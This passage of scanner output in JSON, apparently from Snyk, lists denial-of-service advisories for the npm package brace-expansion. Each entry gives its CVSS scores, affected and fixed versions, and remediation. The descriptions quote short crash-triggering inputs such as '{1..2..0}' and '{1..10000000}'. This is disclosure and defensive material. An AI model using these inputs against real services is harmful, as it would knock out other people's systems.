"Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", 